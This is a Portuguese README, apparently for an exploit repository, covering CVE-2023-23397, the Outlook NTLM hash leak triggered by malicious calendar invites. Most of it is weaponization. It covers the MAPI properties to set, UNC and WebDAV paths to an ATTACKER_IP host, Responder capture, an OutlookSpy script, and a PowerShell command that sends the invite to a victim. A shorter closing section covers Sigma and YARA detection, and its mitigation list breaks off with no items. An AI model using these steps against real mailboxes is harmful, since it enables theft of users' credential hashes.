
Exploit para CVE-2023-23397 vazamento de hash NTLM do Outlook via convites de calendário maliciosos. Inclui weaponização com PowerShell, integração com Responder e regras de detecção para resposta a incidentes.
Para explorar esta vulnerabilidade, um atacante deve criar um convite de calendário malicioso que inclua uma referência a um arquivo de som apontando para um arquivo em um compartilhamento de rede na máquina do atacante. Internamente, um e-mail do Outlook armazena a referência ao arquivo de som em um parâmetro interno chamado "PidLidReminderFileParameter". Para garantir que o áudio que incorporamos em nosso e-mail malicioso tenha precedência sobre as configurações padrão de lembrete da vítima, também precisaremos definir outro parâmetro chamado "PidLidReminderOverride" como true.
Para configurar a propriedade "PidLidReminderFileParameter" para apontar para um compartilhamento de rede, o atacante pode especificar um caminho Universal Naming Convention (UNC) em vez de um arquivo local. O UNC é usado em sistemas operacionais Windows para encontrar recursos de rede (arquivos, impressoras, documentos compartilhados). Esses caminhos consistem em uma barra invertida dupla, o endereço IP ou nome do computador que hospeda o recurso, o nome do compartilhamento e o nome do arquivo. Por exemplo: \ATTACKER_IP\foo\bar.wav
Quando a vítima recebe o e-mail malicioso, o caminho UNC a direciona para esse compartilhamento SMB, acionando a vulnerabilidade. Isso faz com que o sistema inicie um processo de autenticação NTLM contra a máquina do atacante, vazando um hash Net-NTLMv2 que o atacante pode tentar quebrar posteriormente. Se por algum motivo o protocolo SMB não for uma alternativa viável, versões não servidoras do Windows aceitarão o uso de caminhos UNC apontando para as portas 80 ou 443 e usarão HTTP para recuperar o arquivo de um servidor web com WebDAV habilitado. A sintaxe desse caminho UNC é a seguinte:
\ATTACKER_IP@80\foo\bar.wav OR \ATTACKER_IP@443\foo\bar.wav
Isso pode ser útil para contornar restrições de firewall que impedem conexões de saída para a porta 445 (SMB).
Fase de Ataque Vamos criar um e-mail malicioso contendo um compromisso com os parâmetros necessários para acioná-lo.
Configurando o Responder: Como esperamos que a vítima acione uma tentativa de autenticação contra o atacante na porta 445, configuraremos o Responder para lidar com o processo de autenticação e capturar o hash NetNTLM para nós. Se você não está familiarizado com o Responder, ele simplesmente emula um servidor SMB e captura qualquer tentativa de autenticação contra ele. responder -I
Tentando Criar Manualmente um Compromisso Malicioso:
OutlookSpy: Mesmo que o Outlook não consiga definir o arquivo de som do lembrete para um caminho UNC, podemos usar o plugin OutlookSpy para conseguir isso. Este plugin permitirá que você acesse diretamente todos os parâmetros internos do Outlook, incluindo o arquivo de som do lembrete. Você precisará instalá-lo manualmente antes de prosseguir. Certifique-se de fechar o Outlook antes de executar o instalador.
Podemos usar a aba de script e o seguinte script para alterar os parâmetros para os valores necessários: AppointmentItem.ReminderOverrideDefault = true AppointmentItem.ReminderPlaySound = true AppointmentItem.ReminderSoundFile = "\<attacker's IP><share_folder>\file.wav"
Certifique-se de clicar no botão "Run" para que as alterações sejam aplicadas. Você pode voltar à aba "Properties" para verificar se os valores foram alterados corretamente. Por fim, salve seu compromisso para adicioná-lo ao seu calendário, garantindo que o lembrete esteja definido para "0 minutos" e que o compromisso corresponda à data e hora atuais, pois queremos que ele seja acionado imediatamente.
Se tudo ocorreu como esperado, você deverá ver imediatamente um lembrete aparecendo. E você deverá receber a tentativa de autenticação no console do Responder na máquina do atacante.
Armamento Resumindo as etapas necessárias para explorar a vulnerabilidade, um atacante precisaria de:
As etapas 3 e 4 já são cobertas pelo Responder, mas criar manualmente o compromisso malicioso é um pouco tedioso. Felizmente, alguns exploits estão prontamente disponíveis para criarmos e enviarmos um compromisso malicioso, um dos quais é fornecido neste repositório.
Este exploit em Powershell aproveita os objetos COM do Outlook para criar e-mails e compromissos facilmente. Ele contém algumas funções que podemos usar: Save-CalendarNTLMLeak: Esta função cria um compromisso malicioso e o salva em seu próprio calendário. Útil para fins de teste. Send-CalendarNTLMLeak: Esta função cria um compromisso malicioso e o envia por e-mail para uma vítima. O convite por e-mail será enviado da conta padrão atual do seu Outlook.
Usando o Exploit: No Powershell, você pode importar as funções do exploit com o cmdlet "Import-Module". Depois disso, ambas as funções estarão disponíveis no seu Powershell atual. Para enviar um e-mail com um compromisso malicioso, basta executar o seguinte comando:
PS C:\Users\User\Desktop> Import-Module .\CVE-2023-23397.ps1 PS C:\Users\User\Desktop> Send-CalendarNTLMLeak -recipient "[email protected]" -remotefilepath "\ATTACKER_IP\foo\bar.wav" -meetingsubject "Random Meeting" -meetingbody "This is just a regular meeting invitation."
Como o exploit usa a instância atual do Outlook para enviar o e-mail, você provavelmente receberá alguns alertas pedindo permissão para o script enviar e-mails em seu nome. Certifique-se de pressionar Allow quantas vezes forem necessárias. Marcar a caixa de seleção "Allow access for 10 minutes" também pode ajudar a acelerar esse processo.
Detecção e Mitigação
Detecção: Agora que passamos pelas etapas para armar o ataque CVE-2023-23397 no Outlook, vamos falar sobre algumas maneiras de detectar esse ataque na rede. Cada ataque deixa padrões ou artefatos que podem ajudar a equipe de detecção a identificar as ameaças. Tudo depende da visibilidade da rede e das fontes de log que estão sendo coletadas e que fornecem essa visibilidade tão importante.
Regras Sigma: A regra Sigma anexada detecta o Outlook iniciando uma conexão com um compartilhamento WebDav ou SMB, indicando uma fase de pós-exploração. Esta regra Sigma procura detectar "svchost.exe" gerando "rundll32.exe" com argumentos de comando como C:\windows\system32\davclnt.dll,DavSetCookie, o que indica uma fase de pós-exploração/exfiltração. Essas regras SIGMA podem ser convertidas para a ferramenta de detecção e monitoramento para caçar atividades suspeitas de log na rede.
Regra YARA: A regra YARA procura o padrão dentro dos arquivos no disco. As regras YARA da comunidade anexadas podem ser usadas para detectar o arquivo MSG suspeito no disco com as duas propriedades discutidas nas tarefas acima.
A Microsoft lançou um script PowerShell "CVE-2023-23397.ps1" que verificará os itens de mensagens do Exchange, como e-mail, calendário e tarefas, para ver se os IOCs relacionados ao ataque CVE-2023-23397 são encontrados. O script pode ser usado para auditar e limpar os itens detectados.
Mitigação: Esta vulnerabilidade está sendo amplamente explorada em ataques reais. Algumas das etapas recomendadas pela Microsoft para mitigar e evitar este ataque são: